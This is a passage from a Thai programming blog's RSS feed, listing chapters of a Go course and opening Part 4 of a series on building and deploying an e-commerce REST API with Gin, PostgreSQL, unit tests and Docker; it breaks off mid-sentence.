&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Goroutine &#xE41;&#xE25;&#xE30; Channel &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30; Timezone &#xE23;&#xE27;&#xE21;&#xE16;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Context &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Function &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE19;&#xE32;&#xE19;</p><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE19;&#xE35;&#xE49;&#xE22;&#xE31;&#xE07;&#xE23;&#xE27;&#xE21;&#xE16;&#xE36;&#xE07;&#xE41;&#xE19;&#xE27;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30; Context &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; UTC &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE40;&#xE27;&#xE25;&#xE32; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; ISO 8601 Format &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE48;&#xE32;&#xE19; API &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Context &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE01;&#xE32;&#xE23;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;</p><ul><li><strong>Chapter 12 </strong>&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; File &#xE41;&#xE25;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;</li><li><strong>Chapter 13 </strong>&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;</li><li><strong>Chapter 14 </strong>Time Package &#xE41;&#xE25;&#xE30; Context : &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30;&#xE1A;&#xE23;&#xE34;&#xE1A;&#xE17;</li></ul><p><a href="https://blog.pjjop.org/mastering-golang-for-e-commerce-back-end-development-part-4/">Mastering Golang for E-commerce Back End Development : Part 4</a></p><p>&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30; Deploy REST API &#xE14;&#xE49;&#xE27;&#xE22; Go &#xE41;&#xE25;&#xE30; Docker Container &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE04;&#xE23;&#xE1A;&#xE27;&#xE07;&#xE08;&#xE23; &#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE15;&#xE48;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22; Environment Variable &#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; API &#xE14;&#xE49;&#xE27;&#xE22; Gin Framework &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; PostgreSQL Database &#xE41;&#xE25;&#xE30; Connection Pooling &#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test &#xE02;&#xE31;&#xE49;&#xE19;&#xE2A;&#xE39;&#xE07; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Mock Object &#xE44;&#xE1B;&#xE08;&#xE19;&#xE16;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23; Deploy &#xE14;&#xE49;&#xE27;&#xE22; Docker Container</p><p>&#xE42;&#xE14;&#xE22;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Code &#xE41;&#xE25;&#xE30;&#xE04;&#xE33;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Business Logic &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; HTTP Request/Response &#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; API &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Docker &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; &#xE40;&#xE0A;&#xE48;&#xE19; Dependency Injection &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Interface &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE25;&#xE14;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Module &#xE41;&#xE25;&#xE30;&#xE41;&#xE19;&#xE27;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; API &#xE40;&#xE0A;&#xE48;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Versioning</p><ul><li><strong>Chapter 15 </strong>&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;</li><li><strong>Chapter 16 </strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;</li><li><strong>Chapter 17 </strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE02;&#xE31;&#xE49;&#xE19;&#xE2A;&#xE39;&#xE07;</li><li><strong>Chapter 18 </strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; Database &#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;</li><li><strong>Chapter 19 </strong>&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30; Deploy REST API &#xE14;&#xE49;&#xE27;&#xE22; Go &#xE41;&#xE25;&#xE30; Docker Container</li></ul>]]></content:encoded></item><item><title><![CDATA[Mastering Golang for E-commerce Back End Development : Part 4]]></title><description><![CDATA[<p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;</em></em></em></em></p>]]></description><link>https://blog.pjjop.org/mastering-golang-for-e-commerce-back-end-development-part-4/</link><guid isPermaLink="false">66b83f7d0325e40001ec3792</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Wed, 28 Aug 2024 01:01:38 GMT</pubDate><content:encoded><![CDATA[<p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;</em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><!--kg-card-begin: html--><hr>
<div align="center"><a href="https://creativecommons.org/licenses/by-nc-nd/4.0/?ref=blog.pjjop.org">This Article on Mastering Golang for E-commerce Back End Development : Part 4, licensed under CC BY-NC-ND</a>
</div>
<hr><!--kg-card-end: html--><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-12-at-8.40.29-AM.png" class="kg-image" alt loading="lazy" width="1784" height="1366" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-12-at-8.40.29-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-12-at-8.40.29-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-12-at-8.40.29-AM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-12-at-8.40.29-AM.png 1784w" sizes="(min-width: 720px) 720px"></figure><p>&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; API &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE15;&#xE2D;&#xE1A;&#xE2A;&#xE19;&#xE2D;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE04;&#xE33;&#xE02;&#xE2D;&#xE08;&#xE32;&#xE01; User &#xE17;&#xE31;&#xE48;&#xE27;&#xE42;&#xE25;&#xE01; &#xE15;&#xE49;&#xE2D;&#xE07;&#xE2D;&#xE32;&#xE28;&#xE31;&#xE22;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE43;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE14;&#xE49;&#xE32;&#xE19; &#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE1E;&#xE32;&#xE04;&#xE38;&#xE13;&#xE40;&#xE08;&#xE32;&#xE30;&#xE25;&#xE36;&#xE01;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; API &#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE21;&#xE37;&#xE2D;&#xE2D;&#xE32;&#xE0A;&#xE35;&#xE1E;&#xE14;&#xE49;&#xE27;&#xE22; GO &#xE42;&#xE14;&#xE22;&#xE04;&#xE23;&#xE2D;&#xE1A;&#xE04;&#xE25;&#xE38;&#xE21;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><ol><li>&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE14;&#xE49;&#xE27;&#xE22; Environment 